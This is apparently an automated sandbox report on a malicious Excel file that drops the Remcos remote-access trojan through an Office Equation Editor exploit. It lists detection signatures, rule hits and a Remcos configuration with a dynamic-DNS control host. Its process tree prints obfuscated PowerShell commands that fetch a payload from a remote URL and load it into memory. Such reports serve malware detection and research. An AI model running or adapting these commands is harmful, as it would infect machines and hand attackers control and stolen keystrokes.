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Windows
Analysis Report
PO.xls
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3208 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - WINWORD.EXE (PID: 3528 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3820 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3896 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\nicep icturewith yourebodyg reen.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3940 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJFNIRW xMSWRbMV0r JFNIRUxsaW RbMTNdKyd4 JykgKCgnZz ZXdXJsID0g ZicrJ3E0Jy snaHQnKyd0 JysncCcrJ3 M6Ly8nKydy YScrJ3cuZy crJ2l0aHVi dXNlcmNvbn RlbicrJ3Qu Y28nKydtLy crJ05vRGV0 ZWN0T24nKy cvTm9EZScr J3QnKydlJy snY3QnKydP Jysnbi9yZS crJ2ZzL2gn KydlJysnYW RzL20nKydh aW4nKycvRG V0YWgnKydO b3RoLVYnKy cuJysndHh0 ZnE0OyBnNl diJysnYScr J3NlNicrJz RDb250ZScr J250ICcrJz 0gJysnKE5l dy1PJysnYm plY3QgJysn U3knKydzdG VtLk5ldC4n KydXZWJDbG llJysnbicr J3QpLicrJ0 RvdycrJ24n KydsbycrJ2 FkU3RyJysn aW5nKGc2V3 VyJysnbCk7 IGcnKyc2Jy snV2InKydp JysnbmFyeS crJ0NvbnQn KydlbnQgPS BbU3knKydz dGVtLicrJ0 NvbnZlcicr J3RdOicrJz pGcm8nKydt QicrJ2FzZS crJzY0U3Ry JysnaW5nJy snKGcnKyc2 JysnV2JhJy snc2U2NCcr J0NvbnRlbi crJ3QpOycr JyBnNldhc3 NlbWJsJysn eSA9IFtSZW YnKydsZScr J2N0aW9uLk FzcycrJ2Un KydtYmx5XT o6TG9hZCcr JyhnNlcnKy diaW5hcnlD bycrJ250ZW 50JysnKTsg JysnW2RuJy snbGliLklP LicrJ0hvbW UnKyddJysn OjpWQUkoci crJ2F5dHgn Kyd0LicrJ1 JFRVdSLycr JzA1NScrJy 84NCcrJzEu MjMuJysnOC crJzYxLicr JzQwJysnMS crJy8vOnB0 dGhyYXksIC crJ3JheScr J2Rlc2F0aX YnKydhJysn ZCcrJ29yJy snYXknKycs ICcrJ3JheW RlcycrJ2F0 JysnaXZhZG 9yJysnYXks IHJheWRlJy sncycrJ2En Kyd0aXZhZC crJ29yYXks ICcrJ3InKy dheVInKydl Z0FzbXJheS crJywgcmEn Kyd5cmEnKy d5LHJheXJh eSknKS5yRV BMQUNlKChb Y0hBcl0xMT QrW2NIQXJd OTcrW2NIQX JdMTIxKSxb c1RyaU5HXV tjSEFyXTM0 KS5yRVBMQU NlKChbY0hB cl0xMDIrW2 NIQXJdMTEz K1tjSEFyXT UyKSxbc1Ry aU5HXVtjSE FyXTM5KS5y RVBMQUNlKC hbY0hBcl0x MDMrW2NIQX JdNTQrW2NI QXJdODcpLF tzVHJpTkdd W2NIQXJdMz YpICk=';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 4036 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $S HElLId[1]+ $SHELlid[1 3]+'x') (( 'g6Wurl = f'+'q4'+'h t'+'t'+'p' +'s://'+'r a'+'w.g'+' ithubuserc onten'+'t. co'+'m/'+' NoDetectOn '+'/NoDe'+ 't'+'e'+'c t'+'O'+'n/ re'+'fs/h' +'e'+'ads/ m'+'ain'+' /Detah'+'N oth-V'+'.' +'txtfq4; g6Wb'+'a'+ 'se6'+'4Co nte'+'nt ' +'= '+'(Ne w-O'+'bjec t '+'Sy'+' stem.Net.' +'WebClie' +'n'+'t).' +'Dow'+'n' +'lo'+'adS tr'+'ing(g 6Wur'+'l); g'+'6'+'W b'+'i'+'na ry'+'Cont' +'ent = [S y'+'stem.' +'Conver'+ 't]:'+':Fr o'+'mB'+'a se'+'64Str '+'ing'+'( g'+'6'+'Wb a'+'se64'+ 'Conten'+' t);'+' g6W assembl'+' y = [Ref'+ 'le'+'ctio n.Ass'+'e' +'mbly]::L oad'+'(g6W '+'binaryC o'+'ntent' +'); '+'[d n'+'lib.IO .'+'Home'+ ']'+'::VAI (r'+'aytx' +'t.'+'REE WR/'+'055' +'/84'+'1. 23.'+'8'+' 61.'+'40'+ '1'+'//:pt thray, '+' ray'+'desa tiv'+'a'+' d'+'or'+'a y'+', '+'r aydes'+'at '+'ivador' +'ay, rayd e'+'s'+'a' +'tivad'+' oray, '+'r '+'ayR'+'e gAsmray'+' , ra'+'yra '+'y,rayra y)').rEPLA Ce(([cHAr] 114+[cHAr] 97+[cHAr]1 21),[sTriN G][cHAr]34 ).rEPLACe( ([cHAr]102 +[cHAr]113 +[cHAr]52) ,[sTriNG][ cHAr]39).r EPLACe(([c HAr]103+[c HAr]54+[cH Ar]87),[sT riNG][cHAr ]36) )" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 364 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3044 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "ramcxx.duckdns.org:50312:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-M3P7YT", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Click to see the 22 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |